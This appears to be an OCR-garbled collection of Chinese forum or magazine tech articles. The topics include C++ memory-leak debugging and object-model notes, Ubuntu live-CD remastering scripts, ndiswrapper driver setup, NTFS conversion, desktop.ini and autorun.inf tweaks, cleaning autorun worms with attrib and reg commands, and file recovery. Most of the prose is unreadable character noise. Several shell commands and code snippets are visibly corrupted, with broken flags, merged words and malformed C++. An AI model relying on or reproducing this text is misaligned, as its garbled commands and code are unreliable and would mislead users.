FARAA IEZA ) BR P A B I (R AIAS ). B ARE, BUERARX ISR 7 —E 0 1,
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FFHAT X ? W NI, RAIR S BT AT R R KRS 2
NTHiB) deubg B, TIAREATHIRGEE, Pl —BICEMFARMFLESHEM, JAAS
G MK A WS, 1029 R AT 1R ORI 1% 25 Bl 5, RO EE T e 2 BRI AR
.

M. HiE (og)
B iR i F SN R K A O U web TR BURIFIORRAS T o K2 505
RRFHEH &, TLTFAN veb BFAATHE, W, H5HE BRI
WD, MRRDRAS, BETRRGERE T4, I AW GAREE, IR
WAL, S5 BRI, LA, JRRRLEFIOSHE, ARIATS log M. 488,
T Libixie, EARERN, MK (trace) HB RS, K bLE S — FHEL
TPERAYE T AR T, .

HEFIAR I X 5]
fE&: cuicl39

7E bbs b, HEEFRMIX 3108, P& — AN KIERTER, dn] W, 915385 A E 2
TRIEAIFR, B3k due EAhEE — N IF .

e, AT

void £ { int* p=new int[5]; }

REEEN—AEME S THESH, B new, TATEHNZER], A9 T —
PHENTE, 85 p We? ML) 2 —HuRNAE, Fr DX Al o) s Bt A2 . FEAR WA A7
T — AR ) — S N A R e FEREF SE B HET S BN AR RN, ANE T
operator new Z}ALAAE, RJEIREIXSNAER EHIEE, TR, fihfE VC6 T BV ARHS
LI

00401028 push 14h
0040102A call operator new (00401060)
0040102F add esp, 4
00401032 mov dword ptr [ebp-8], eax
00401035 mov eax, dword ptr [ebp—8]
00401038 mov dword ptr [ebp—4], eax

KH, BATDN T RRIFRAREIRALE, WAZEALZFERIR? & delete p A7 #,
B, Bz delete [Jp, XN T H YR IEdT: FMIBRAZ —DEL, VC6 B RYEAN
f¥] Cookie {5 B ZAT R W AF (1 LA

07, BATRBFRATH LB R T A AT A X ?

FEMX A LT LA

1. E BT AR,

2+ Z[ERAPAFE;

3. BET AR A ANIE
4y AERTTRANFE);
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5. JrEe 7 A s

6. S ELREANA

EIITA MTHORYE, i HsE M, BRERANTT 6 X THRE, B
TTAE Ry A, 45 5774 memory leak.

AR/ —RORVHE 32 ARG T, HEWAFE AT LUK R 4G ()25 [8], MIXAS A FE R B HE
WA LT WA A A BRI . AR AR, — MR — & B AR/, i, 78
VC6 I, BRAHIARZERNZ IM BFRZ, WCANER 7). 4R, AT MRS

FIF TR, KIRERESR AR . Project—>Setting—>Link, fE Category Hiifrh
Output, YRJGTE Reserve H1i% 5E Hitk I B AABAN commit.

TR reserve H/MEN 4Byte; commit &R EEILNAZRI IO RIT, ERENE RS
R RO B, AT RE 3G N P9 A7 I T84 A0 JE Bl T

WEF R . X FHERHE, SRR new/delete 2=t sl NAEAS R ANESE, M iEE
BOK B IR, AR P AR AR X TRk, AN SARAEIXA ] L, RO AR 2 Sk )
BAF, AT G i —— X, PLZ Tk &R AN AT Be A — N W AF S AR ) S, EAth e Hy
ZHT, R BT R RN A gt VAR ] LS B RIR S, X RO TRAH—
—e T

AT WTHERE, AR TTmE R R, kAR i N A e B gy s X T
Bokik, BRAEKITRZR TR, 2R NN 77 S K.

orle e HEERDR IS, BEBSOIME. BA 2 Mo s BES S ER
BNASIIAC. FRASHL AR IS TSN, R E RN AE. SIS ECH alloca REGHAT
SrHL, HRARMIZhA 7 BLATHE R AR, AR sha 72 Hgm B as dE TR, B/ FANF T
S

LT AR RN RGP HAR S, THENLS R ER IR S R L]
(BT AEAAT BRI L, AR HARES A L T T4 2 HUT, Xatoue 1THBI R AR . HEN
A& C/CH IR BUESRAL, EMNLRIRIRE RN, BIWN T AR — e, FEREaici—E
PRE CRARBIEE T LS HAR G5t /3 E R 90 TEHE A7 3 &R ] H I 2 8 /N 23 1],
WA R RN AR CATRER T NAFRE R K 2), A T REH H KRG DhRe £t
BN AR 0], XA L2 B 8 KANRINAE, REHTIRE . BAR, HERRERL
HRERIFZ .

MIXHILATAT LAE B, HEFARAHEL, BT K& new/delete MIEH, & 5 i&E M KER
WAER s HTRA LTI RG R, BCERRAG T TRESI R P& LER VI, W
S, MRS INE 5. B ABRAERE P o2 S S V2 1, 30 AR A2 ok i 1 FH R
M2 5E R, REBCHAEREFRIZE, REHIE, EBP AR AR 540 K AR 1 7 XAl BT A,
BAMEE R TR =2, AR M.

HANEA Wtk AR 2 I AF AL, (H 2 o T AHEFE LEAS R B4 R, A I 5 e K &1 N A7
], bt HERF— 1L,

TR R rR, FER AR IR AE (BRIERE TSRS, BB
ERBLRFET IR, BRI, g, A UAEARIRE R, SR EIRN
EFIBATIE RS, BAE KA P8, (R NG, A EA A BRI, AR
debug RJ & AH 24 R AERT: )

X7, AR, A NEHERR AR, R, AT, me,

T
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AR EH H S B Ubuntu/Linux &%t
f£#&: CN.HK

HEASKESR (REIRINERD
TR B R 23507 (1) ubuntu &%t Ubuntu 1SO BME SO, TRZEAEMHAF (g
TR E8 25T, ABRBEIRATTHe 75 22 2 SR CEIR K home (7/ ARZRARMT home H %) N

BARET ZAE Ubuntu REH5EMG BT, 3 TOREARET ubuntu R 45

1. f£/mnt fl~/BF FHES. test 1 squashfs—test HZ, FHIHARHK Ubuntu ISO Mlf% 3|
/mnt/test/ H¥EF (/4 : sudo mount —o loop ~/ubuntu.iso /mnt/test/).

2. $£#;/mnt/test/casper/filesystem. squashfs X %] /mnt/squashfs—test/ H3x F

( w % sudo mount —o loop /mnt/test/casper/filesystem. squashfs
/mnt/squashfs—test/) o

3, HEHl/mnt/test/ FHIPTA XA (Ff casper/filesystem. squashfs ) #) ~/test/ H
FF (f74: sudo rsync —a —exclude=casper/filesystem. squashfs /mnt/test/ ~/test/).

4, EH#l/mnt/squashfs—test/ FHIFTEXHF] ~/squashfs—test/ H3EF (#4: sudocp
-a /mnt/squashfs—test/* ~/squashfs—test/).

5. 2 FREFH ARG N proc. sysfs. home HXF|™/squashfs—test/ XM I, AT ik
BRI RR B T ORIERME 30405 RUBIA SO SR AT
TRAFCL RS 2 BIRF N N o SO CGX B SCE 4N chroot-squashfs),

oy

HHHHHHH I £ yea A T W
HH

#!/bin/bash
CHROOTDIR=squashfs—test

sudo mount —t proc proc $CHROOTDIR/proc
sudo mount -t sysfs sysfs $CHROOTDIR/sys
sudo mount —o bind /home $CHROOTDIR/home

sudo chroot $CHROOTDIR/ /bin/bash
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RHHfHAHH AT AR AR AR H AR AH 4 W N b F
RHHtH AT A AR A AR R H A A Y

SRIGIBATZ A A, /chroot—-squashfs IERIIH A T root O HEN T EiE
FIRI RGN, BAET DARIE R E O E  BlEk e Hm k.

R T BN TR TE FERIRAM RS/ ete/resolv. conf XA &35 g
I RS/ ete BT RITEREM 2%, 18 HH77E 2 S0 AT . .

6. 25 HOMARGE, M exit MLIBHESERIR RS, RFHATERCHEKKN
SO, RAF LT # 50 BB AT A IO A9 SCAF 444 umount-squashf's S JFHAAT .

Pt

RHHHHATHE AR A AR ] £ yea PA T A
RHHHHEHHE AR A AR ]

#!/bin/bash

CHROOTDIR=squashfs-test

sudo umount $CHROOTDIR/proc
sudo umount $CHROOTDIR/sys
sudo umount $CHROOTDIR/home

RHHtHH A A AR AR RS H AT HE g W N [ F
prisiattaittab sttt sttt s

7. HEMATOREEBUTENRE T, RAELTHSTBTHNEINEN LN
makelivecd—squashfs I 44T, /makelivecd—squashfs ZE53T A 5E M, B )G =1E
LR H T HEAE R Myubuntu FF3k 1. 1SO B AG ST

)

HHUHHHHH £ yea LA T N
HHHHE

#!/bin/bash

CHROOTDIR="/squashfs—test
TARGETDIR="/test

sudo rm —rf filesystem. squashfs filesystem. manifest filesystem. manifest—desktop
sudo mksquashfs $CHROOTDIR ~/filesystem. squashfs
sudo cp ~/filesystem. squashfs $TARGETDIR/casper

sudo chroot $CHROOTDIR dpkg—query -W ——showformat="$ {Package} ${Version}\n’ | grep
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-v deinstall > ~/filesystem. manifest

cat > /tmp/$$. control <<FOO
/casper/d
/libdebian—-installer4/d
/os—prober/d

/ubiquity/d

/ubuntu-live/d
/user—setup/d

FOO

sed —f /tmp/$$. control < ~/filesystem. manifest > ~/filesystem. manifest—desktop
sudo rm —rf /tmp/$$. control

sudo cp ~/filesystem. manifest $TARGETDIR/casper
sudo cp ~/filesystem. manifest—-desktop $TARGETDIR/casper

sudo rm —rf ~/md5sum. txt
cd $TARGETDIR && find . —type f —print0 | xargs —0 md5sum > ../md5sum. txt

~

cd
sudo cp ~/md5sum. txt $TARGETDIR

datum= /bin/date +” %Y%m%d %H%M”"
sudo mkisofs —r -V “Myubuntu” -cache—inodes —J -1 -b isolinux/isolinux.bin —c
isolinux/boot.cat  —no—emul-boot -boot-load-size 4 -boot-info-table -o

“/LiveCD$datum. iso $TARGETDIR

prisiastu b 4h w 7 (& TF
RHtHH AT S A R A R ]

Nl EFEARE I E QoK TR R T H M Ubuntu IE!

ubuntu FH|F ndiswrapper Z3ETCLE M £ IK3)

fE#: trojancyborg
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Bt %¥E ndiswrapper
ubuntu FHFEZ ndisgtk (FH T 222 T4 M R R 31)
sudo apt—get install ndisgtk

IRV 25, REWRTCL M RAE windows RIS SCH: (A, inf FIHZ) (AT B
ERE T LIRS ARG, iz H A SO 2 3 H s B SO R,

4T sudo ndiswrapper —-i yourname. inf //yourname FEMRIRSN inf HI LA 44 B
ZRLLNESAE /ete/ndiswrapper/  NEIESL—MHHBA H K youname,

FiZHFE P (cd /ete/ndiswrapper) $4T sudo ndiswrapper -1 / /T E IR 23 ok
T¥% &7~ driver installed

EYN WL
sudo ndiswrapper —m (iF ndiswrapper 7& 8 s 8 E shNE
TN 7 R4 B 3014640 hotplug subsysytem B 3% GXI £ R REIT A <5=) )

modprobe ndiswrapper (il linux fN#E ndiswrapper module)

XA AT A B MR 1, £ SSID ALk 44, fE “ TR et ke “WPA
S WPA2 N7, AR JEE N E S R

We B 47 J5 R R T 4 B T

L R0 R -

sudo apt—get install ndisgtk

sudo ndiswrapper —i net8192u. inf

cd /etc/ndiswrapper/

sudo ndiswrapper -1

sudo ndiswrapper —m

sudo ndiswrapper —mi \W\PRIEE B Z G AH IR E

sudo modprobe ndiswrapper

5 VB ok M 4% 1 R
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HRERZR PP X SRR ZiD-HI P E (R 7BRFEEH)

fE#: trojancyborg

Hﬂﬁ%ﬁﬁﬁﬂi 1T ZFILRBIREIRZE CPP X ZHAIA effective C++, IRadHEV, AN
EW5E NG, RIRZ S &8s 7, T2 I fmf A 7N E, BT 2 H CAghs
IEEI’J, MG 4, R RIRIE.

F—E RKTHER

CPP {EAf Ja) LA A7 HURF 8] b 3 EEAA 7 15 2 H B AL A1 512 1.

L. JE R ELA - P BASZRF— AN 207 ST iige e ”

2. REFHE R HIASE I 2 IR MR QR R AR R I 628, A — D — T 3L = 10
BEAL, A — L8 2 AR K R RS e, 7 7

AR S U A BBAERE — DX RN UF TR, w02 Bl il 3 B BTy X 8 A i O
TRAAT) , A BR RO AR5 25 o8 BUBE BT X 41 i U T 280T49) -

B — AR — HER 0] R R UK FR BT, TBUHE — Rk 2, XA R R

B0 RYAIN— MR, 1R IR 5 AR ER. (RBERfEE VPTR)
VPTR P15 1 EE B 45 Fh 45— N S IR A a2 bR 2, A A R B, % DL AR 3R A5 0 B
F— AT REH type info object (FHF3Z#F Runtime type identlflcatlon, RTTI) th&
FH RS R A5 Y, 30 W THPE B2 3R 1 24 28 — T

TEHEAERI LT, HEH BRI % 0K, A S,

H CPP2. 0 A B T AMIHE R, F7 2 — LR S IR IUIE. B EER I AR R R A X R
HONERE— N RN R 220 | — a5, AR RS AR RN R ST 78 5 1
K, UMEGE AR

£ CPP /1 struc t Ml clas s ME— K X AL T BRI AL FRAT kAR RA [, HAt )5 1 58 44

[7].
Struct BRIANVTAIALER, 4k AR AR & A public, i class BRINERA private.

CPP HRAE ]y i) S 2% v IO HCHiE, 7 A A P DAL A B R e R B, 17 A 227 1 35 o ) £

I, HEPUEIGUY T REANR]. (1EAE— A R AR U7 I BCRR PR 19 o ) i 2 2 75 AU HE A7) , 2k
SRNAT A S B HCHiE 13 5% AT = AT e e tE S 1) 55 ) A€
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EHEHITEOLT, C struct 4£ CPP o — & HAGHIE I : IR EAL 8 — D B A R 47
BHR > BIHEAS C BB £, struct AR DIHEHESBERER, Jf ORIES C 3A 1 A7 A .
EREDRA S IR DL, AT

HA I Fa 4t 8 51 R TRI AR B, 4 RE SHR T [ X R 3 v v i 75 1) 22 35 1R IR

1E CPP 1, 2B R T — A public class & &R, 28411
x % px; FREN px ATREFR A —AN x BN R, AT REFR LA public JRAE B B —AN K2 (AN RE
FaIa x 2L, BEANREFR M) x IACTRAT 5

Nonpublic HIIRAEATHLLKLRMN void i) H & ] UL 2 3, HAMAFEE 5 a
SCHF, BRAATT A 20 R AR P B3E 5 B A e T R A L
CPP LALL R IMESCRF 2 45

L. FEATAERIREN N dR ) FL AR AU FREE (0 25 5 5 BBk A7 v HH )
2. MERREL. p—>fun() ;
3. 2 dynamic cast fl typeid iz & 4%.

—AXRITEA AR S AT

1. FCARBR B R S AR,

2. I E ARG 55 ) 7 SR b B A IA]L (32 AL Jy 4byte X%, DAE
bus 13z ¥ 5 12 3 i =1 300 %)

3. b SRR AL AT E P 307 AL A AT A 7 4E. (R R 4R 4

AT TR SRS I, TR R E, PAEEANBUNMEESERT R A A7 .

BoE WERBIERE
LR R NAFERE PGS I S 4GE 0. JRExT RAL T HEdk b, HEX AT B 2 E
Ja PR RRHAS— SEE 0, MATTR A 2 b O S AR IR

FRIAAE bR K0 A 0 G B 7 BN A 2 B B, 05 B 0P 3 bR RO AT 4 405 7 ZE (AT 3.

BRI A W& A PAUE IR AT R, A AR A PR REA X BRI I I 0 508 FH R4
Ji 53 SRR A I R 2

Cpp 155 ZEREL” GXTR 7 AESE AR 7 B U oK R FH 2% A 38 B0 B, 33K Hh 9 7 4 52 A

LA 53 S 7 I AR K P U8 PR A Bl B3 R IR AR BR A 345 bR K, T S ACRL 35 224 £ I Aff £ Y P 4
A (A U SR E ST IZ I AR PR R, O 1 2 2 SE IR U T 28 A 3 X R KAL) 3 R 4
FFPAT SR 1 o B A, )

1. &8

W — A EAE LA BRI IE R B RIRAE B — A A BRI I R B SR 2R, B4 X /MiT AR
S BRI i bR B A F G, TR L 75 S B R, R R L JE SR R A i bR
RIS BT . 6T 5 4k 4k AR 38T 5, 1% AN R i bR B0RT— Al B A
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(R ER DAL 12 bR ER VAT AT X 5]

2. ¥k

W SR 2 A h 3 oR K, (H B B B A I8 B AL, S R de 29 IR I (R B R 1 o 4,
7 F LR B A L B R IE R0 ARSI 2, (RS A 226 BOB 1) BRI bR 2L X2
DRI A B R SR A 3 pR B B 8, G0 SRR AFAE S 7 A B IE B 197 R 53 26T
R, ASLC BRI 18 PR MR, 7R TR BRSSO FH 2 )5

T3 AP 0 T A BRI 1 R

1. Class 75 B EZK A —N 52 R AL

2. Class R4 H — bR FBE, HA A —AaE 2 iRk,
RN RS eI kA (RER—NEREH T DA R E 2 k)

L. — N RER SR R = ok, P TBGE 2R R oR £l bk

2. FERFANEX Grb, — NEANIFE S (VPTR BB T84T S0 i 28 & ok, & A1
KRR HE.

FiE 2 S R SERLAE AN (R PR G 16 2 A0 AR HR) 22501, SR T, Al 52 B (R 36 ) £ Tl A R 2
FEHAEE—MTAERN RO E, REW T AT IHME R4 2.

A VUFME O, 2 5 BR800 0N A 75 BRI BR AT B i — A BRI 12 R

1. A7 BRI I8 BR BRI B R T 2.

2. A BRI R B R

3. TR ERACK

4. BRI

c++ stardand fEHRLES AR A BRI F RO BRIGIE B A . 16 o H S PR A B i X
REIE 2 g PR AR I TR 22 (IMAEFR T T3 20) , B2 BT LA RETE AT 55, A5 TR Ao n] Rtk
BRI PR AL B2 R X ST AR RS bR O ) sl B L T se k. & T3
AFAE B VUi . 1 SO 78 WA AT R s bR B ) 285, FRAT T AT TR 2 ™ R F Bk
IERREL BATSERR B SHA SR, 7 (B R SR BRI IE B B R ST R R
B AN R, BT HAh i AR S B R, W R, R A, BB A SR S
1£)

%X
1. AT class WIHRBEE BRI IE BB 2L, B8 A R K — .
2. G 1o B G DR PR BRI i bR 2 B 152 e SR N B — B B 3 i) BROME

8 DURA I bR K A ) el B

L. IR LA— X R AR N 53— A R E.
2. 20 A 0 S B A 25 A bR K
3. 2R B ffe [l — AR R

ERUK RS AT AR 1L

U ARISBOA St — A IR 0 7% DU I R B, 242800 G DU R 2R 100 55— A X A9 WD fELI,
VYRR A LB B BRI AR A T TE B, R R N 2 ) R A= A it
JR O RIE, MIEAR A I — A3 2 55— DX R & b A E AR DU A 51 R0 R, T
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LA JE1 5 2 AT 380 R K A #EAT AR 4. (P BB SR AT 1B A0 9% DL, B, 15
Bt B SR SRR Dy AR 2 SR A T X SR A AR SRR A 9% UL e 40

BRI 12 R BT 75 DR R 30R A 70 6 B2 (R IR 4 o 0 96 2557 A2 L R

C++ Standard 85 VARG 68 K7 J7C FH AN O PR, A IR Se R A4 2 & iRy
Hh, RE AN USRI 75 D9 70 ROARHEAE T2 15 R I H P 18 42 4% DL 3L

ANELFEATPE DU S A3 LU ORI :

L. BN — RO B, 1% 0 5 e (10 27 WA — AN S A 4 i o i
(A& HBE T P W 2 23 1 2 65 R

2. HIRM R B — ALK 5 B A7 AL — R A 3 R BN (e W 7= e 2 5
J )

3. BRFEY T AR (FEER vptr)

4. HIGRAE B AR A BE, AT — s A RS

AP DU, S 19 45 0 200K ol 0 SR B S 1) A2 ) A i oy I IR AR 7 e B 5 R R
K i bR T,

(TE& B BRAG IE BR B b, WU 70 AN R o0 R B anAk, B Ay oAt i) AR #2524
o e B3, Gn AR, AR, B E A SR AR TR L)

(FEIXLEIE LR, RA R 35 F2 A 95 DUTE S, BN B A% s e o8 A I, R B0
PRI & pR K, W2 B8R 00 1 AR DA— X RAEN 5 — X R IE (R esE VPTR) 7,
WA R — S R AR B 0

I PR ISR Tk AT (RO — AR T — e AN HE R st 2 k)

L. FEIN— A R R R, A BRSO RE R ot Bk CEARRE AN R A IE— 1 R
A TKHER)
2 B — R 1R R BCR KRB (vptr), ZHRAERE DRI RN,

AR, vptr MIERRBCE R HEE, KL, % %8 A vptr BISRZ I, 2288 AN R I H
FAL P DUE SC T, BUAE, 9 1 45 75 226 B — 95 DURIE s KL, RS vptr #1461E.

VISEY:8 S DU

MEFEIET XS G AFAE T 2R AR, — SR R UWR DU — D SN YME, Thi)E A — 4
MEHER TR G, I Ao 4% 075 DUE SUR AL (FR BEALATAE 0 R i AL 37 0 RN A7 B AE
PAT IR HE R 2 24, T B XM E, P DL 20 1 25 6 R A R 36 o )

WA aa A A

X2 x

X x0; // CATR Z AR A% FH 4 DUKA) & R £
X x1(x0);

X x2=x0;

X x3=X(x0) ;
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Cr+ Standard B, 8RB 24 5 M0 M 24 B CORAE 9 BRSO D) O 5%, 24 T L
M

X xx=arg;

Xx REELZ, arg KK L2

RSB E

L — P52 S N IR R 5, RIVEE U P oR BT B — X R, IR 98 DUR) i e BomTaa L,
FEAZ I I X 00 5| A% 25 e K, pR AR [N A B0 00 B (FL340)

2. B Uk, SR I UK pR B RO SES R E AR R 2 A B E GfER ),
BR KR (e I 38 P A R

AR (L PR SEEBIL (Al A7 75 DU 325 R 500

LB S AN S5, R s OR [BI 2R (CR) XRS5, CREAN S8k 45 b6 50
FHRTECE IR 18] FR{EL, 12508 5 27 6 AN 18] P A 36 R 2

2. 1 return 482 B 224 — A5 VR 1% R B0 F 3R, R 75 20 0] (0 xf 3 (78 e Bk e
JRIER XS B) AL 3 AN S IX AL REHE R B P9 O B 1 R H oh 25

7E X
X test ()
{
X res
return res;
}
Fefhe:
X tmp;
void test (X &result)

X res;

result. X(res) ;

return ;

}

res. X0
PAHEE tmp 1245 test /E NSERETS 23R (1A

i E AL
X ttt(const T &y, const T &z)
{

X xx;
...... CBLy F 2 SRAbEE xx, xx (y, 2)
return xx;
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}
Al A
X ttt(const T &y, const T &z)
{
return X(y, z) ;//BHEMIE 5 IR [F]
1

YA 2 AL (Named Return Value , NRV, U4 #E W ARYE c++4m i 28 YA A RE 54T)
X bar ()

X xx
s A xx
return Xxx;

}

i Al xx A result HUfR
void bar (X & result)

{/ /BRI 3 bR 4

//C++AX A%

_result. X::XO;

// BT result

Return;

}

75 DUR 3 pR RIS, Y, 30 (4 B 22 2 /0 /A (RO R FeAXEE 8 0 i Ak, JE3 24 e B LAA% A 19775 2K
AR [ ANKE R, WIZSRAT — A DU I o0 A OV WSR2 5 D) I IX S B0R BN P
e e, ANVRAE BR AU E SO A B e A (o5 38 DA i R i) T P R AR A4, BA— A
BN R — S HORACNRY.

R SATTHIRT A6 AL AL

PAN 8L, i AU A R Ia A A1) K -

1. et —A 51 IR,

2. FIIaAE— A% 5L

(B PRI G B ST, AN BE S8 B8 IR, SO 0 E I N AT AR AL, BE#S DUAAIE)
3. i — AN ARG pR KL, T A — S

4. AP — A SR A 3 R B i g — 4L S R
TIAN R [

Class word{

String name;

public:

word ()

{

_name=0;
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}

I

W 5K S

Class word{

String name;

public:

word ()

{

_name. String. String () ;//VAH String BIERINM G A2
String tmp=String(0) ;//F= LG5 %

_name. String: perate=(tmp);

Tmp. String:: " String () ;//HE I X R

}

i

FIrCA, Gn SR pl 03 A X 4, 3k AT GE A0 2 3R B0 47, 80R B8 w5y IR g 13 4% B 3500 FH A R e
P2 DRy it R B, E R I 52 BT IR L.

i A o IRARWIAR LA R, LUE 2 (R IO AR MIE AT 2 R A AL R AR, JFFEAT T A A 1
PP ARBS Z BT A6 51 BT H 2k R B SIS AR B0t R RS B DO Bk €, T AN & AT 4R A 91 3%
FRIHESI O e . (B 1 2 A A4 38 pR 1) P AR 2 T 32 a8 53 75 W P A B T 4R A 471
)

AT E AR RAYIIR T — AR, 05 ARSI TR
TR A7 AE A 3 R SR PN R — BB ROA 57— AN R B B (FE A Y (R 8 18 03— 3 S8 A
THIEAR) , AN EEAE AR AT UG AL B3R R 03 2 — A % B E B

TEFAIE R HR, B R H A FH B B 1. CHARAN B B8 i F B AR 5L 2 1 CaIiR k), 1X
IR AT SAHE ) this R4 T4 24
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USRS BE
YE#: huyiol

1. fEfi

2. Fb

3. &

4. X5

0 YRR B R R

FAT32

— P BLER (FAT) SCHERGURAE TSR SO RS0, 5 FAT AHEL, FAT32 Aot SCiEE
AN DL R B K I 2R, AT RERS AE FAT32 6 b 5 A i R 43 e R A8 25 1)
NTFS X R4

—FHEERS PR UL B A FAT JRAFTA LA MIMERE . et AraEtE S et s ol R 4.
Z8KkUL, NTFS JEdARESHE S5 H E IR SIKE R ARG 8. R R G HIEE,
NTFS R fi H H B S8 SUE BRI E U R4 — B - 7E Windows 2000 #1 Windows
XP H1, NTFS 3B REFEHEE WSO S0 IR PR . NS . G C A LA K IR 45 2 500 i 2

JEREXTEE, fHH NTFS U RGNS (26 BLT AT A2 30 6 2% e AN B A% 3040 Bl NTFS 17,
A E)D

FGASEAR N NTFS (17715

(1) M %: AR RERA N “JEiE” , KB “BEfE” B—F, ERgyEES, A5
R U JEYE, EFTITR B P s 3] “ SR 7 kI, k4 “OpdREtERemAAL” 1Y
W, SREWRE, TERL!

e WA T8 G A EEE Bk, EAIRE 5 T R E

(2) #efbik:

CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]

volume RS Rl —1NE5) . BALAHES.
/FS:NTFS o B NTFS B4 .
/v e 5E Convert MiZFHIEAAIZIT .

/CvtArea:filename
AR H b i) — &S UG E Jy NTFS RS S AL
/NoSecurity #85E A NHAT LAYS B Fe e () SO H R 2 2w E .
/X WERLEE, e TE G . %W TR AR TE .
4. convert g: /fs:ntfs
e g MR, AN BRI, AET, AR AT DS ntfs AN fat32,
5 A RE R BT IR N A S R AT A T
(D B ah&s 5
M H R T EIE A% N desktop. ini (ISCHE, AU :
[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}

={BE098140-A513-11D0-A3A4-00C04FD706EC}
[ {BE098140-A513-11D0-A3A4-00C04FD706EC} ]
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Attributes=1

IconArea Image=. \ZTF[A\ %5\ HAR\O. jpg / /555 G NPT B B v £ 1 5
S

IconArea Text=0x00FF0000 / /555 5 TR A 5))
WA R H S SCF e

{BE098140-A513-11D0-A3A4-00C04FD706EC} = {BE098140-A513-11D0-A3A4-00C04FD706EC}

[ {BE098140-A513-11D0-A3A4-00C04FD706EC} ]
Attributes=1

IconArea_Image=

[. ShellClassInfo]
ConfirmFileOp=0
NoSharing=1

TconFile=0

IconIndex=0

InfoTip=" A& / /T AR )
WA HME R IR

(2) N4 bR, Wt T B3 15 & AN )R S H I 77 & B bR s
TEMR H % FEIE—N 4N autorun. inf UM CFIH R4 H BRI, ARWT:
[autorun]

icon=1.1ico / /555 I TR ) O L i
1%, BbRLAE. ico ST
e BT AN B SO AT DA R I A R A R R N SO, AR AR E R A
Pl — AT, RV T MR HIEA L ZEED, Hndsings 5o RS, A i
RET ...

0 BIPUR ML T, ABRAER] AN DA B3 B AR R R R, RATTEC B
T ReRE B s, BARMES B R ?

EAEP IR (LA NTFS SUAF RS nI #2804 AR

1 MR BRI — Ak, AR

2. 8 LR R A D SR 5

3.HBEFTITAI R BB ) “Jmik” 4R A kI, EEREATA R e, R
BT everyone,

IR T B AR

4. HEANF BN, ER HRESCHk BT “Jgit” , k3 “24a” wml, 18
[ everyone F It T

“oE A AR

5. FE R

e BT IR RACERAE, (EH BIRERAE, W] DABT bR AT R B i & i B8, USRS H
RECATR SR h i H !

FWH: F LR BN

1. HERBCR IR B b R

2. IR exe JEEALEE

3. A HIIREREE (ARRHRYERED

L AZNFEIORE TR BB R, REia B EEIBAT, TEMREEE, BrClEsem
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PGB GL I autorun. inf SO CEHBIREEIRTED .
(1) MR autorun. inf SCEFHES, — MR BRR i@ ARAEH & R TEHE h R 31" 2247 1k
W, W AT e e, SRS BRI, A iRBOEMER, R SR, SCH H Ak
BT, AT LA T
(2) MBS, BRI AL, B8R, sinlBL T, SARWA R IEEBAT I N,
s AU B AR AR B, RS MR
s Fpridk: KM B s oL
2. WER AT AR exe FE, HGUE TR LR R B A R 2,
(1) FEIRA GRS BRE T, BB AR, ARR PO SCE RAEN exe JEERHIC
7
(2) IS R4 FHE . exe SUHE, MARIBAT. exe UM, JRTEFTFFIRBIBR S, 2988
Wtz tr 1
HUE T R, AT
e BRI RGOS, BRAEIR

FESCAFSE ) “ TR thaTIF “a0fbdasmt” , k3 “&F”7 B—F, KRG HsEP
A “ 2 R I ERE RGO HHERT T )2 L4, FE5IER R4 E] “ SR BT ST ST
PRI FRik$E, SRIGHE .

T RSB ST Ve A i 2o, M DLST AR 44 1. exe SCA:
Fa 4t BB B IR i 2
ATTRIB [+R | -R] [+A | -A 1 [+S | -S] [+ | -H] [[drive:] [path] filename] [/S [
/D]]

+ WHE M.

- TR
Ry gt
FERE S T
RGO IETE
Bl A P

[drive:] [path] [filename]

a8 LA TR A B 1

/S BB HT AR S T SO e UL e ST A

/D HAES R
il
attrib —s —h —r —a path (CffEREES)
T R H RS EOCA Je AT R R IR AN 2 BRSO, X RVENERE T, BT AR R
fil, PRAFA. reg G EIISCHE, RJEHAT. fERATIRBEAERTLL T AR W R
reg
HKEY LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
Folder\Hidden\SHOWALL /v CheckedValue /t REG DWORD /d 1 /f
(3) RGUEUIEAL 2 i EE P RE R A 2, et B IR SEE, W)™

- »n = =

He R BARE = Pnr, MAMA SR T LAS. RROT LR, RRNEH TS
ZIPHIRIRE BN B UL, W RS AR UL,
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BT T REER, TENKRbL-
VRIR S BAHEF TIER T http://bbs. isbase. net/thread-13164-1-2. html

I I e S A T TR S A

YE3#: R.E.C—F22

SN R, 2% S misBE S Z RN, R RGUEARE SCF
BEAMIER . B IRIRAE SN OL T B0 AL B BE B R BRI . AR BRI A Yoe e E s, —
FECE LR A AT BARR A o

A B ERKRE——

D iHENURE RS R EE £ K. BEE RN 23 2, R THEALR R R

BEHANKIAERERI ST, AR RO, R I e A — IR A AR ME TR 5

2) RIS RMER TR EHE F 2k EXFEOLT, Wis Lk A ek X (45
1 FAT32 %%y NTFS BiH O Bilal#7r IX N5 NGB s, B S E 2101, L
FRELF] 100% o HANF LM EAF AT I BR Bl S Ak, VR IR HE

3 X BT RKEH RS, G RTE IR o DR G B0 AT 2R TRVE TR,
B NN R ERER 2 X R B RS, R NARIET BN EE E&, — & 100% Al KK

4) AR &R OFFICE (Word. Excel. Powerpoint) SCAYAREFT HFEl A, — M1k
LN B EAE 50% LA b

B\ B¥EE KRG K MR —

A TR £ _ESCPEROI R, 2 I RN % B A
2B T [ AN N Lo B — AN BB, H SR BB SRS IR A TR A X B 2
MAEAl, RGBSR EM TR, Htn] LSRR E SR R % .

PR A5 B — DIRAE

WR AT LB R AT, AR ER )G, AEAERE E AT e S ANRIEM 23
HER, S ICERE SR, KR R,

PN AR T — 30, REERRAERAN S B E—ME S, RoRFHIZA SRR
AT LLAHT S AT SO, T SEALELE S BER 5B BORE, WER RS i, 1R
A RE AL SRR 22 8] 5 N HAR ST, XA R R AR R A

WRE = fEHTE BB R At

AR E R BARAE RGETAE > XA, TEZRIRHL, BRSOk, R el B
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MR, 7R B TR K E A A A G B A, WAENX T EE, RiFE
L& 8/ -WNCIP SRS

Windows: fF windows R&A N, AEHRZ RN CHIEE B, B Undelete Plus.
PC Inspector File Recovery. Restoration. Recuva %, Undelete Plus s&fx /7 {818
P —M, EFE S I SRR T, X AR B AR AR 2 S AR B FR KR S . (B
PR A AT PC Inspector File Recovery A#ll Restoration BEMSEE A 23R B 3L 44,
CHIR, ARATREAR B ST =X

Mac: W& H A& Mac , # DataRescue IT AJ A LT AOERE, AL B FE $99.

P At B 6 BT 247 TH PhotoRec J& —/MF R HRALEIA /NG il
